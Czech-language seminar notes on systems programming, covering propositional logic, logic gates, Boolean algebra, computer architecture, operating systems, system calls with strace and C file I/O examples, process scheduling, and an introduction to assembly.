Welcome 👋
Vítejte na skriptách pro odborný seminář "Systémové Programování" na SSPŠ. Seminář vyučuje František Hrubý a Samuel Šidlichovský.
Výroková logika
Co je výroková logika
Výroková logika (též propoziční logika) je základní formální systém, který se zabývá studiem pravdivostních hodnot výroků a jejich kombinací pomocí logických operací.
Výrok je tvrzení, o němž má smysl rozhodnout, zda je pravdivé nebo nepravdivé. Každému výroku přiřazujeme právě jednu z hodnot: \[ 0 \quad (\text{false}), \qquad 1 \quad (\text{true}). \]
Množinu všech výroků budeme značit \(P\).
Význam v informatice
Výroková logika má zásadní význam v informatice, zejména v těchto oblastech:
- návrh a analýza algoritmů (podmínky, větvení),
- konstrukce a optimalizace digitálních obvodů,
- formální verifikace programů,
- databázové dotazy (např. podmínky ve WHERE),
- umělá inteligence a logické odvozování.
Logické operace
Základní logické spojky umožňují vytvářet složené výroky.
Negace (NOT)
Negace obrací výsledek výroku
\[ \neg p \]
| \(P\) | \(\neg P\) |
|---|---|
| 0 | 1 |
| 1 | 0 |
Konjunkce (AND)
Konjunkce je pravdivá v případě že jsou oba výroky pravidvé. \[ P \land Q \]
| \(P\) | \(Q\) | \(P \land Q\) |
|---|---|---|
| 0 | 0 | 0 |
| 0 | 1 | 0 |
| 1 | 0 | 0 |
| 1 | 1 | 1 |
Disjunkce (OR)
Disjunkce je pravdivá v případě že je alespoň jeden z výroků pravdivý.
\[ P \lor Q \]
| \(P\) | \(Q\) | \(P \lor Q\) |
|---|---|---|
| 0 | 0 | 0 |
| 0 | 1 | 1 |
| 1 | 0 | 1 |
| 1 | 1 | 1 |
Implikace (IF–THEN)
Implikace vyjadřuje vzah "if A, then B", kde z pravdivosti prvního výroku vyplývá pravdivost druhého. \[ p \rightarrow q \]
| \(p\) | \(q\) | \(p \rightarrow q\) |
|---|---|---|
| 0 | 0 | 1 |
| 0 | 1 | 1 |
| 1 | 0 | 0 |
| 1 | 1 | 1 |
Ekvivalence (IFF)
Ekvivalence je pravdivá, právě když mají oba výroky stejnou pravdivostní hodnotu. \[ P \leftrightarrow Q \]
| \(P\) | \(Q\) | \(P \leftrightarrow Q\) |
|---|---|---|
| 0 | 0 | 1 |
| 0 | 1 | 0 |
| 1 | 0 | 0 |
| 1 | 1 | 1 |
Složené výroky
Složené výroky vznikají kombinací výroků pomocí logických spojek. Například: \[ \neg (P \land Q) \rightarrow R \]
Pravdivost takového výroku závisí na hodnotách jednotlivých proměnných a lze ji určit pomocí pravdivostní tabulky.
Splnitelný výrok
Výrok, který je pravdivý alespoň pro jedno ohodnocení.
Shrnutí
Výroková logika poskytuje formální nástroje pro práci s pravdivostními hodnotami a jejich kombinacemi a umožňuje přesně definovat význam logických výrazů. Díky jednoduchosti a univerzálnosti tvoří výroková logika základ mnoha oblastí informatiky i matematiky.
Logické brány
Logická brána je základní stavební kámen digitální elektroniky. Je to malý elektronický obvod, který přijímá jeden nebo více binárních vstupů (0 nebo 1, tedy "low" nebo "high" napětí) a produkuje jeden binární výstup podle pevně definovaného pravidla.
Všechno, co dnes počítače dělají — od sčítání čísel přes vykreslování 3D grafiky po spouštění operačního systému — se nakonec redukuje na miliardy logických bran, které spolu velmi rychle komunikují. Procesor s 10 miliardami tranzistorů je v podstatě obří síť logických bran.
Proč binárně?
Digitální elektronika pracuje se dvěma stavy, protože je to nejodolnější proti rušení. Signál buď překročí určitou napěťovou hranici (logická 1), nebo ne (logická 0). Analogové hodnoty "mezi" by bylo mnohem těžší spolehlivě přenášet a zpracovávat.
Konvence značení:
- 0 = false, low, off (typicky 0 V)
- 1 = true, high, on (typicky 3,3 V nebo 5 V)
Základní brány
NOT (negace / inverter)
Nejjednodušší brána — má jeden vstup a převrací ho. Z 0 udělá 1 a naopak.
| A | NOT A |
|---|---|
| 0 | 1 |
| 1 | 0 |
Zapisuje se jako ¬A, !A, ~A nebo s pruhem nad písmenem (A̅).
AND (logický součin)
Výstup je 1 jen když jsou oba vstupy 1. Jinak je výstup 0.
| A | B | A AND B |
|---|---|---|
| 0 | 0 | 0 |
| 0 | 1 | 0 |
| 1 | 0 | 0 |
| 1 | 1 | 1 |
Zapisuje se jako A ∧ B, A & B, A · B.
Intuice: "platí A a zároveň B".
OR (logický součet)
Výstup je 1, pokud je alespoň jeden vstup 1. Výstup je 0 jen když jsou oba vstupy 0.
| A | B | A OR B |
|---|---|---|
| 0 | 0 | 0 |
| 0 | 1 | 1 |
| 1 | 0 | 1 |
| 1 | 1 | 1 |
Zapisuje se jako A ∨ B, A | B, A + B.
Intuice: "platí A nebo B (nebo obojí)".
XOR (exclusive OR)
Výstup je 1, pokud jsou vstupy různé. Pokud jsou stejné (obě 0 nebo obě 1), výstup je 0.
| A | B | A XOR B |
|---|---|---|
| 0 | 0 | 0 |
| 0 | 1 | 1 |
| 1 | 0 | 1 |
| 1 | 1 | 0 |
Zapisuje se jako A ⊕ B, A ^ B.
Intuice: "platí buď A nebo B, ale ne obojí".
XOR má spoustu praktických využití — od detekce změny bitu, přes kryptografii, až po binární sčítání (viz dál).
NAND (NOT AND)
Opak AND — výstup je 1 vždy, kromě případu, kdy jsou oba vstupy 1.
| A | B | A NAND B |
|---|---|---|
| 0 | 0 | 1 |
| 0 | 1 | 1 |
| 1 | 0 | 1 |
| 1 | 1 | 0 |
NOR (NOT OR)
Opak OR — výstup je 1 jen když jsou oba vstupy 0.
| A | B | A NOR B |
|---|---|---|
| 0 | 0 | 1 |
| 0 | 1 | 0 |
| 1 | 0 | 0 |
| 1 | 1 | 0 |
XNOR (NOT XOR)
Opak XOR — výstup je 1, když jsou vstupy stejné.
| A | B | A XNOR B |
|---|---|---|
| 0 | 0 | 1 |
| 0 | 1 | 0 |
| 1 | 0 | 0 |
| 1 | 1 | 1 |
Užitečná třeba pro porovnávání bitů na rovnost.
Univerzálnost NAND a NOR
Jedna zajímavá vlastnost digitální logiky: NAND a NOR jsou takzvaně funkčně úplné (universal). Znamená to, že pouze z NAND bran (nebo pouze z NOR bran) jde poskládat úplně jakoukoliv logickou funkci.
Ukázka, jak z NAND postavit ostatní brány:
NOT A = A NAND A
A AND B = (A NAND B) NAND (A NAND B)
A OR B = (A NAND A) NAND (B NAND B)
V praxi je to ekonomicky výhodné — továrna vyrábějící čipy se může soustředit na výrobu jednoho typu brány a poskládat z ní cokoliv. Historicky byly celé rodiny logických obvodů (třeba NAND flash paměť) postavené právě na této myšlence.
Kombinace bran — příklad polosčítačka
Ukažme si, jak z bran vznikají užitečné obvody. Polosčítačka (half adder) sčítá dva jednobitové vstupy a vrací dva výstupy: součet (S) a přenos (C, carry).
| A | B | S (součet) | C (přenos) |
|---|---|---|---|
| 0 | 0 | 0 | 0 |
| 0 | 1 | 1 | 0 |
| 1 | 0 | 1 | 0 |
| 1 | 1 | 0 | 1 |
Koukněte na tabulku pozorně:
- Sloupec S se chová jako XOR (1 když jsou vstupy různé)
- Sloupec C se chová jako AND (1 jen když jsou oba 1)
Polosčítačku tedy poskládáme ze dvou bran:
A ─┬──[ XOR ]── S
│ ▲
│ │
B ─┼────┘
│
└──[ AND ]── C
▲
│
B ──────┘
Když tohle rozšíříme na úplnou sčítačku (full adder), která umí přijmout i vstupní přenos z nižšího bitu, a pak jich pospojujeme třeba 64 za sebou, máme 64bitovou sčítačku — přesně to, co dělá instrukce add ve vašem procesoru.
Brány vs. tranzistory
Jak se brány fyzicky realizují? Uvnitř čipu je každá brána poskládaná z tranzistorů — typicky v technologii CMOS (Complementary Metal-Oxide-Semiconductor). Jeden tranzistor funguje jako malý spínač, který propustí proud, když na jeho řídící vstup přivedete napětí.
Orientační počty tranzistorů na bránu v CMOS:
- NOT: 2 tranzistory
- NAND / NOR: 4 tranzistory
- AND / OR: 6 tranzistorů (= NAND/NOR + NOT)
- XOR / XNOR: typicky 8–12 tranzistorů
Proto jsou NAND a NOR v čipech levnější než AND a OR — a proto je tolik hardwarových návrhů postavených kolem nich.
Boolova algebra
Logické brány přímo odpovídají operacím Boolovy algebry (kterou v 19. století formalizoval matematik George Boole). Pár užitečných identit, které se hodí při zjednodušování obvodů:
A · 0 = 0 A + 0 = A
A · 1 = A A + 1 = 1
A · A = A A + A = A
A · A̅ = 0 A + A̅ = 1
A dvě slavné De Morganovy zákony, které umožňují převádět mezi AND a OR přes negaci:
¬(A · B) = ¬A + ¬B
¬(A + B) = ¬A · ¬B
Zjednodušování logických výrazů je důležité, protože v reálném návrhu čipu každá brána navíc znamená více tranzistorů, více plochy a vyšší spotřebu. Minimalizace boolovských funkcí (Karnaughovy mapy, Quine–McCluskey) je proto základní technika v digitálním designu.
Shrnutí
- 7 základních bran: NOT, AND, OR, XOR, NAND, NOR, XNOR
- Každá brána je pravidlo, které mapuje binární vstupy na binární výstup
- Z NAND (nebo NOR) samotných jde postavit jakýkoliv digitální obvod
- Kombinacemi bran vznikají sčítačky, multiplexory, registry, paměti — a nakonec celé procesory
- Pravidla pro zjednodušování obvodů popisuje Boolova algebra
Každý mov, add nebo xor, který jsme viděli v kapitole o assembly, se uvnitř procesoru rozkládá právě na práci stovek milionů těchto bran. Všechno, co počítač dělá, je ve výsledku jen velmi rychlé přepínání tranzistorů podle logických pravidel.
Booleovská algebra
Co je to Booleovská algebra?
Booleovská algebra je matematická struktura, která pracuje s logickými hodnotami a operacemi nad nimi. Základními prvky jsou typicky dvě hodnoty:
\[ 0 \quad (false), \qquad 1 \quad (true) \]
Používá se především v:
- logice
- návrhu digitálních obvodů
- informatice (podmínky, bitové operace)
Formální definice
Booleovská algebra je uspořádaná šestice:
\[ (B, +, \cdot, ', 0, 1) \]
kde:
- \( B \) je množina
- \( + \) je operace OR (součet)
- \( \cdot \) je operace AND (součin)
- \( ' \) je negace (NOT)
- \( 0 \) je neutrální prvek pro OR
- \( 1 \) je neutrální prvek pro AND
Operace
AND (konjunkce)
\[ 1 \cdot 1 = 1, \quad jinak\ 0 \]
OR (disjunkce)
\[ 1 + 0 = 1, \quad 0 + 0 = 0 \]
NOT (negace)
\[ 0' = 1, \quad 1' = 0 \]
Axiomy
Booleovská algebra splňuje následující základní vlastnosti:
Komutativita
Vyjadřují nezávislost výsledku na pořadí operandů:
\[ a + b = b + a \] \[ a \cdot b = b \cdot a \]
Asociativita
Zajišťují, že při opakovaném použití operace nezáleží na způsobu závorkování: \[ a + (b + c) = (a + b) + c \] \[ a \cdot (b \cdot c) = (a \cdot b) \cdot c \]
Distributivita
Umožňují vzájemné „roznášení“ operací: \[ a \cdot (b + c) = (a \cdot b) + (a \cdot c) \] \[ a + (b \cdot c) = (a + b) \cdot (a + c) \]
Identita
Definují neutrální prvky: \[ a + 0 = a \] \[ a \cdot 1 = a \]
Doplněk
Každý prvek má svůj doplněk: \[ a + a' = 1 \] \[ a \cdot a' = 0 \]
De Morganovy zákony
De Morganovy zákony patří mezi nejdůležitější vztahy v Booleovské algebře, protože umožňují transformovat výrazy obsahující negaci.
\[ (a \cdot b)' = a' + b' \]
\[ (a + b)' = a' \cdot b' \]
Principy počítačů – Základy
Tato kapitola shrnuje základní principy fungování počítače. Cílem je vytvořit dostatečný kontext pro pochopení dalších témat (reversing, exploitation, assembly apod.).
Architektura CPU
Procesor je hlavní výpočetní jednotka počítače. Skládá se z několika základních částí:
ALU (Arithmetic Logic Unit)
ALU provádí:
- aritmetické operace (sčítání, odčítání)
- logické operace (AND, OR, XOR)
CU (Control Unit)
Řídicí jednotka:
- načítá instrukce z paměti
- dekóduje je
- řídí jejich vykonávání
Registry
Malé, velmi rychlé paměti uvnitř CPU:
- obsahují aktuální data
- drží adresy a mezivýsledky
Paměť (RAM vs ROM)
RAM (Random Access Memory)
- volatilní (po vypnutí se smaže)
- ukládá běžící programy a data
ROM (Read Only Memory)
- nevolatilní
- obsahuje firmware (např. BIOS)
Schéma počítače
Von Neumann architektura
- program i data ve stejné paměti
- jednodušší návrh
- může docházet ke „bottlenecku“ (jedna sběrnice)
Harvard architektura
- oddělená paměť pro instrukce a data
- umožňuje paralelní přístup
- používá se např. v embedded systémech
Dvojková soustava
Počítače pracují v binární (dvojkové) soustavě:
\[ 1010_2 = 10_{10} \]
Každý bit má hodnotu:
\[ 2^0, 2^1, 2^2, ... \]
Šestnáctková soustava
Hexadecimální (základ 16) se používá pro přehlednější zápis:
\[ 0xFF = 255 \]
Převod:
\[ 1111_2 = F_{16} \]
Znaménková vs bezznaménková čísla
Bezznaménková (unsigned)
\[ 0 \text{ až } 2^n - 1 \]
Znaménková (signed, two's complement)
Nejvyšší bit určuje znaménko.
Např. pro 8 bitů:
\[ 11111111 = -1 \]
Floating point (okrajově)
Reálná čísla jsou reprezentována pomocí IEEE 754:
\[ \text{value} = (-1)^s \cdot 1.m \cdot 2^e \]
Používá se:
- mantisa (m)
- exponent (e)
- znaménko (s)
Pro reversing/exploitation není většinou klíčové, ale je dobré vědět, že reprezentace není přesná.
Program a instrukce
Program
Program je posloupnost instrukcí, které CPU vykonává.
Instrukce
Instrukce je základní operace, například:
- načti data
- přičti
- skoč (jump)
Na nízké úrovni jsou instrukce reprezentovány jako binární kód.
Programovací jazyky
Vysokoúrovňové jazyky
Např.:
- C
- Python
- Rust
- Zig
Abstrakce nad hardwarem.
Nízkourovňové jazyky
- assembly
Blízko hardware, přímá práce s registry a pamětí.
Shrnutí
- CPU vykonává instrukce pomocí ALU a CU
- data jsou uložena v paměti (RAM)
- programy jsou posloupnosti instrukcí
- počítače pracují s binárními daty
- hex je pouze čitelnější reprezentace
Tyto základy jsou nutné pro pochopení toho, jak programy fungují na nízké úrovni.
Co je operační systém
Operační systém (OS) je základní software, který zprostředkovává komunikaci mezi hardwarem počítače a uživatelskými programy. Jeho hlavním úkolem je spravovat systémové prostředky a poskytovat jednotné rozhraní pro jejich využití.
Bez operačního systému by každý program musel přímo ovládat hardware, což by bylo složité, neefektivní a nebezpečné.
Co operační systém dělá
Operační systém zajišťuje zejména:
- správu procesů (spouštění, plánování, ukončování),
- správu paměti (alokace a ochrana paměťového prostoru),
- práci se soubory (souborové systémy),
- vstup a výstup (komunikace se zařízeními),
- bezpečnost a izolaci procesů.
Tyto funkce jsou realizovány jádrem systému.
Kernel (jádro systému)
Kernel je centrální část operačního systému, která běží v privilegovaném režimu (tzv. kernel mode). Má plný přístup k hardwaru a zodpovídá za řízení všech klíčových operací.
Hlavní úlohy kernelu
- přímá komunikace s hardwarem,
- správa procesů a vláken,
- správa paměti,
- obsluha systémových volání,
- řízení zařízení (přes ovladače).
Kernel funguje jako prostředník: program požádá o operaci (např. otevření souboru) a kernel ji bezpečně provede.
Uživatelské programy běží v tzv. user mode, kde nemají přímý přístup k hardwaru. Kernel běží odděleně v kernel mode.
Moduly kernelu
Moderní operační systémy (např. Linux) umožňují rozšiřovat kernel pomocí modulů (kernel modules).
Modul je část kódu, kterou lze:
- dynamicky načíst do běžícího kernelu,
- používat bez nutnosti restartu systému,
- případně odebrat za běhu.
K čemu se moduly používají
Nejčastěji slouží jako:
- ovladače zařízení (např. síťové karty, disky),
- podpora souborových systémů,
- rozšíření funkcionality kernelu.
Výhody modulárního přístupu
- flexibilita — není nutné mít vše přímo v jádře,
- menší jádro — načítají se jen potřebné části,
- snazší vývoj a testování,
- bez restartu systému při změnách.
Příklad (Linux)
Načtení modulu:
sudo modprobe <název_modulu>
Výpis načtených modulů:
lsmod
Odebrání modulu:
sudo rmmod <název_modulu>
Poznámka
Nesprávně napsaný modul může způsobit pád celého systému, protože běží v kernel mode a má plný přístup k paměti i hardwaru.
Shrnutí
- Operační systém spravuje hardware a poskytuje služby programům.
- Kernel je jeho nejdůležitější část, která běží s plnými právy.
- Programy komunikují s kernelem pomocí systémových volání.
- Moduly kernelu umožňují dynamicky rozšiřovat funkcionalitu systému bez restartu.
Kernel lze chápat jako „řídící centrum“ systému, zatímco moduly jsou jeho rozšiřující komponenty.
Systémová volání
Systémová volání představují základní mechanismus, kterým mohou uživatelské procesy požadovat služby od jádra operačního systému. Program běžící v uživatelském režimu nemá přímý přístup k privilegovaným operacím, jako je práce se soubory, komunikace se zařízeními nebo vytváření nových procesů. Místo toho využívá rozhraní systémových volání.
Proč systémová volání existují
Mnoho operací v počítači je privilegovaných, což znamená, že je nemůže provádět libovolný uživatelský program přímo. Důvodem je především:
- bezpečnost — proces nesmí svévolně přistupovat do paměti jádra,
- ochrana dat — proces nesmí nekontrolovaně manipulovat se soubory jiných procesů,
- stabilita systému — přímý přístup k hardwaru by mohl způsobit pád systému,
- řízení prostředků — operační systém musí rozhodovat, kdo a jak může využívat zařízení, procesor nebo paměť.
Systémová volání tedy tvoří kontrolované rozhraní mezi uživatelským programem a jádrem.
Jak systémové volání funguje
Při provedení systémového volání dojde ke krátkému přechodu z uživatelského režimu do režimu jádra. Proces předá jádru požadavek, například „otevři tento soubor“ nebo „zapiš tato data na výstup“. Jádro požadavek provede a vrátí výsledek zpět programu.
Z pohledu programátora se systémové volání často jeví jako obyčejná funkce, například open(), read() nebo write(). Ve skutečnosti se však jedná o přechod do chráněné části systému.
Pozorování systémových volání pomocí strace
Na unixových systémech lze systémová volání sledovat pomocí nástroje strace. Ten vypisuje, jaká systémová volání program během svého běhu provádí.
Například chceme zobrazit obsah souboru welcome.txt pomocí programu cat:
strace cat welcome.txt
Ukázka zjednodušeného výstupu:
execve("/usr/bin/cat", ["cat", "welcome.txt"], 0x7ffc571b8e98)
...
openat(AT_FDCWD, "welcome.txt", O_RDONLY) = 3
read(3, "Hello Class!\n", 131072) = 13
write(1, "Hello Class!\n", 13) = 13
close(3) = 0
exit_group(0)
Interpretace výpisu
Z uvedeného výstupu lze vyčíst několik důležitých kroků:
-
execve(...)spouští programcat; -
openat(...) = 3otevírá souborwelcome.txtpro čtení a vrací deskriptor3; -
read(3, ...) = 13čte 13 bajtů ze souboru označeného deskriptorem3; -
write(1, ...) = 13zapisuje těchto 13 bajtů na standardní výstup, tedy do terminálu; -
close(3) = 0uzavírá otevřený soubor; -
exit_group(0)korektně ukončuje proces.
Nástroj
straceje velmi užitečný při ladění programů, zejména když potřebujeme zjistit, proč program neotevře soubor, proč selže přístup k zařízení nebo jak komunikuje s operačním systémem.
File descriptor
Při práci se soubory a vstupně-výstupními kanály se používá pojem file descriptor (deskriptor souboru).
File descriptor je malé celé číslo, kterým proces identifikuje otevřený soubor, rouru, socket nebo jiné I/O rozhraní. Po úspěšném otevření souboru vrací například systémové volání open() právě tento deskriptor.
Ten je následně předáván dalším systémovým voláním, například:
read(fd, ...)write(fd, ...)close(fd)
Typické deskriptory
| Deskriptor | Název | Význam |
|---|---|---|
0 | stdin | standardní vstup |
1 | stdout | standardní výstup |
2 | stderr | standardní chybový výstup |
3 a vyšší | — | další otevřené soubory nebo zařízení |
Pokud tedy například open() vrátí hodnotu 3, znamená to, že soubor byl úspěšně otevřen a proces s ním dále pracuje pomocí tohoto deskriptoru.
Čtení souboru
Čtení souboru je typicky tříkrokový proces:
- Otevření souboru pomocí
open(), - načtení dat pomocí
read(), - uzavření souboru pomocí
close().
Postup
open()otevře soubor a vrátí file descriptor,read()načte data ze souboru do paměťového bufferu,close()uvolní související systémové prostředky.
Příklad v jazyce C
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
int main(void) {
char buffer[128];
int fd = open("welcome.txt", O_RDONLY);
if (fd == -1) return 1;
ssize_t n = read(fd, buffer, sizeof(buffer) - 1);
if (n >= 0) {
buffer[n] = '\0';
printf("%s", buffer);
}
close(fd);
return 0;
}
Vysvětlení příkladu
open("welcome.txt", O_RDONLY)otevře soubor pouze pro čtení,- návratová hodnota se uloží do proměnné
fd, read()načte obsah souboru do polebuffer,- na konec načteného textu se přidá znak
'\0', aby s daty bylo možné pracovat jako s řetězcem v C, printf()obsah vypíše,close(fd)soubor uzavře.
Poznámka k bezpečnosti a robustnosti
V praxi je vhodné kontrolovat i návratovou hodnotu read() a případně ošetřit situaci, kdy se načte méně dat, než očekáváme, nebo dojde k chybě. U větších souborů je navíc potřeba čtení opakovat ve smyčce.
Zápis do souboru
Zápis do souboru probíhá podobně jako čtení, ale místo read() se používá write().
Typický postup
- Otevřít nebo vytvořit soubor pomocí
open(), - zapsat data pomocí
write(), - uzavřít soubor pomocí
close().
Příklad v jazyce C
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(void) {
const char *text = "Hello Class!\n";
int fd = open("output.txt", O_WRONLY | O_CREAT | O_TRUNC, 0644);
if (fd == -1) return 1;
write(fd, text, strlen(text));
close(fd);
printf("Zapsáno do output.txt: %s", text);
return 0;
}
Vysvětlení příkladu
Příznaky předané do open() mají následující význam:
O_WRONLY— soubor je otevřen pouze pro zápis,O_CREAT— pokud soubor neexistuje, bude vytvořen,O_TRUNC— pokud soubor existuje, jeho původní obsah bude zkrácen na nulovou délku.
Hodnota 0644 určuje přístupová práva nově vytvořeného souboru.
Funkce
write()zapisuje bajty do souboru, ale stejně jako uread()je v reálných programech vhodné kontrolovat její návratovou hodnotu.
Vybraná systémová volání v Unixu
Sada systémových volání závisí na konkrétním operačním systému, nicméně v unixových systémech se často setkáváme s následujícími:
| Syscall | Popis | Typické použití |
|---|---|---|
open / openat | otevře soubor a vrátí jeho deskriptor | otevření souboru pro čtení nebo zápis |
read | čte data ze souboru nebo zařízení | načtení obsahu souboru |
write | zapisuje data do souboru nebo na výstup | výpis textu do terminálu |
close | uzavře otevřený deskriptor | uvolnění prostředků |
execve | spustí nový program | spuštění programu cat |
exit / exit_group | ukončí proces | korektní ukončení programu |
Shrnutí
Systémová volání tvoří základní rozhraní mezi uživatelským programem a operačním systémem. Umožňují bezpečně provádět privilegované operace, které program nemůže vykonávat přímo.
Procesy
Co je proces?
Proces vs Program
Program je statický soubor instrukcí uložený na disku — prostě binárka, která nic nedělá, dokud ji někdo nespustí.
Proces je naproti tomu program v běhu. Když program spustíte, operační systém mu přidělí paměť, registry, otevřené soubory, PID a další zdroje — a vytvoří z něj proces. Jeden program může běžet jako několik nezávislých procesů současně (typicky třeba několik instancí prohlížeče).
Analogie: program je jako recept v kuchařce, proces je vaření podle toho receptu. Stejný recept může vařit více lidí najednou — každý je samostatný "proces".
Proč potřebujeme procesy
Procesy jsou jedním ze základních abstraktních konceptů operačního systému. Bez nich bychom měli několik zásadních problémů:
- Multitasking — díky procesům může na jednom CPU zdánlivě běžet víc programů najednou. OS mezi nimi rychle přepíná a uživatel má pocit, že všechno běží paralelně.
- Izolace — každý proces má svůj vlastní paměťový prostor. Jeden proces nemůže jen tak sáhnout do paměti jiného, což zvyšuje bezpečnost i stabilitu. Když jeden spadne, ostatní běží dál.
- Sdílení zdrojů — OS spravuje, kdo má kdy přístup k CPU, paměti, disku a dalším zdrojům. Procesy se o ně "spravedlivě" (podle pravidel plánovače) dělí.
Stavový diagram procesu
Každý proces se během svého života nachází v některém z několika stavů. Přechody mezi stavy řídí operační systém. Zjednodušený diagram vypadá takto:
admitted scheduler dispatch
┌─────┐ ─────────────► ┌───────┐ ─────────────────► ┌─────────┐
│ new │ │ ready │ │ running │
└─────┘ └───────┘ ◄───────────────── └─────────┘
▲ interrupt │ exit
│ ▼
│ I/O or event ┌────────────┐
│ completion │ terminated │
│ └────────────┘
┌───────┐
│ wait │ ◄── I/O or event wait (z running)
└───────┘
V dalších sekcích si projdeme každý stav zvlášť.
new
Proces byl právě vytvořen. Operační systém mu alokuje zdroje a přiděluje PCB (Process Control Block — vysvětlíme později).
ready
Proces je připraven běžet a čeká ve frontě, až ho plánovač vybere a přidělí mu CPU. Má všechno co potřebuje — jen mu chybí procesor.
running
Proces právě vykonává instrukce na procesoru. V jednom okamžiku může být na jednom jádru v tomto stavu jen jeden proces.
Ze stavu running proces odchází buď:
- dobrovolně — například se rozhodne čekat na I/O, nebo zkrátka skončil
- nedobrovolně — vyprší mu přidělené časové kvantum a plánovač mu CPU odebere
wait (blocked)
Proces čeká na externí data — typicky na dokončení operace I/O (čtení z disku, síťová odpověď, vstup od uživatele). I kdyby bylo CPU volné, tento proces nemůže běžet, dokud na co čeká nedorazí. Jakmile data dorazí, přesouvá se zpět do stavu ready.
terminated
Proces dokončil svůj běh. Jeho zdroje se uvolňují a PCB se ruší (s drobnou výjimkou tzv. zombie procesů, které ještě čekají, až si rodičovský proces vyzvedne návratový kód).
PCB (Process Control Block)
PCB je blok dat, který uchovává všechny informace o procesu. Operační systém potřebuje vědět, kde se proces nachází, co dělá a co má v registrech, aby ho mohl kdykoliv zastavit a později pokračovat.
Typicky PCB obsahuje:
- PID (Process ID) — jednoznačný identifikátor procesu
- PPID (Parent Process ID) — PID rodičovského procesu
- stav procesu (new, ready, running, …)
- obsah registrů a program counter
- informace o paměti procesu
- seznam otevřených souborů
- a mnoho dalšího…
V Linuxu je PCB definován jako struktura task_struct, kterou najdete ve zdrojovém kódu jádra:
PCB — Ukázka
Malou část PCB svého vlastního procesu si můžete zobrazit takto:
cat /proc/self/status
Výstup ukáže informace jako jméno procesu, PID, PPID, stav, využití paměti a další. Je to jen část skutečného PCB — jádro toho o každém procesu eviduje mnohem víc.
Context switch
Context switch (přepínání kontextu) je mechanismus, kterým OS přepíná běh mezi procesy.
Průběh v jednoduchosti:
- Proces A běží na CPU.
- OS se rozhodne přepnout (vyprší kvantum, vyšší prioritu získá jiný proces, A se zablokuje na I/O…).
- OS uloží PCB procesu A — zaznamená aktuální registry, program counter a další stav.
- OS načte PCB procesu B — obnoví registry a stav z doby, kdy B naposledy běžel.
- Proces B pokračuje v běhu, jako by nikdy nebyl přerušen.
Context switch není zadarmo — trvá nějaký čas a procesor během něj nevykonává užitečnou práci aplikace. Příliš časté přepínání tedy snižuje výkon.
Plánování procesů
Představte si situaci: máme 3 procesy a jedno CPU. Kdo poběží první? A v jakém pořadí?
Odpověď poskytuje plánovač (scheduler) — součást jádra, která rozhoduje, kterému procesu v daný okamžik přidělit procesor. Existuje několik plánovacích algoritmů, pojďme si projít ty nejzákladnější.
FCFS (First Come, First Served) — neboli FIFO
Nejjednodušší možný algoritmus: procesy se zpracovávají v pořadí, v jakém přišly. Kdo dřív přišel, dřív dostane CPU, a běží, dokud neskončí.
Příklad se třemi procesy A, B, C, z nichž každý poběží stejně dlouho (např. 10 jednotek času):
čas: 0 10 20 30
│ A │ B │ C │
Problém s FCFS
Co když je ale jeden proces mnohem delší než ostatní? FCFS nemá jak ho přerušit.
Představme si, že A potřebuje 100 jednotek času, zatímco B a C jen po 10:
čas: 0 100 110 120
│ A │ B │ C │
Procesy B a C musely zbytečně čekat 100 jednotek, i když by samy o sobě byly hotové v mrknutí oka. Tomuhle jevu se říká convoy effect — krátké procesy trčí za jedním dlouhým jako auta za traktorem.
Round Robin
Round Robin problém řeší zavedením časového kvanta. Každý proces dostane pevně dané malé množství času (např. 10 jednotek). Když mu vyprší, OS ho přeruší, zařadí na konec fronty a pustí dalšího v pořadí.
Porovnejme si stejné procesy (každý potřebuje 10 jednotek) přes FIFO a Round Robin s kvantem 10:
FIFO: Round Robin (kvantum = 10):
čas: 0 10 20 30 čas: 0 10 20 30
│ A │ B │ C │ │ A │ B │ C │
V tomto konkrétním případě vyjde výsledek stejně, protože žádný proces nepřekročí své kvantum. Kouzlo Round Robinu se projeví u smíšených délek — dlouhý proces nezablokuje krátké, všichni se střídají a nikdo nečeká příliš dlouho.
Nevýhoda: příliš krátké kvantum vede k častým context switchům, což stojí čas; příliš dlouhé se začne chovat jako FCFS. Volba správné velikosti kvanta je kompromis.
Existuje samozřejmě mnoho dalších plánovacích algoritmů (SJF, SRTF, Priority Scheduling, Multilevel Feedback Queue, CFS v Linuxu…), ty by ale vydaly na samostatnou kapitolu.
Co je Assembler
Assembly (česky též jazyk symbolických adres) je nízkoúrovňový programovací jazyk, který je prakticky přímým textovým zápisem strojových instrukcí dané architektury procesoru. Každý řádek kódu v assembly typicky odpovídá jedné instrukci, kterou procesor přímo vykoná.
Assembler je potom nástroj (překladač), který tento textový kód přeloží na skutečné strojové instrukce — tedy binární podobu, které rozumí procesor.
Proč se učit assembly?
I když dnes většinu kódu píšeme ve vyšších jazycích jako C, Rust nebo Python, znalost assembly je stále užitečná pro:
- Pochopení, jak počítač skutečně pracuje — co vlastně váš
forcyklus dělá pod pokličkou - Reverse engineering — analýzu malwaru, crackování, výzkum bezpečnosti
- Optimalizaci kritického kódu — například kryptografické knihovny, kodeky
- Psaní operačních systémů a bootloaderů — tam, kde vyšší jazyky ještě nefungují
- Embedded programování — mikrokontroléry s omezenou pamětí
Různé architektury = různé Assemblery
Tady je důležité si uvědomit jednu klíčovou věc: assembly není jeden jazyk. Každá procesorová architektura má svou vlastní instrukční sadu (ISA — Instruction Set Architecture), a tedy i svůj vlastní dialekt assembly.
Mezi nejznámější patří:
x86 / x86_64
Architektura od Intelu a AMD, kterou najdete ve většině stolních počítačů a notebooků. x86 je 32bitová verze, x86_64 (neboli amd64) je 64bitová moderní varianta. Má CISC architekturu — hodně instrukcí, některé i složité.
ARM / ARM64 (AArch64)
Dominuje v mobilních zařízeních, používá ji Apple Silicon (M1, M2, M3...), Raspberry Pi a mnoho serverů. Je to RISC architektura — méně instrukcí, ale jednodušších a rychlejších.
RISC-V
Moderní open-source architektura, která se používá ve výzkumu i rostoucím množství komerčních čipů. Také RISC.
Další
Existují i MIPS, PowerPC, SPARC, AVR (Arduino), a historicky třeba 6502 (NES, Commodore 64) nebo Z80 (ZX Spectrum).
Syntaxe: Intel vs. AT&T
I pro stejnou architekturu (například x86_64) existují dvě rozdílné syntaxe, jak instrukce zapisovat:
-
Intel syntaxe — přehlednější, běžná na Windows, používá ji assembler NASM:
mov rax, 60 -
AT&T syntaxe — výchozí na Linuxu u nástrojů jako GAS (GNU Assembler), registry s
%, operandy opačně:movq $60, %rax
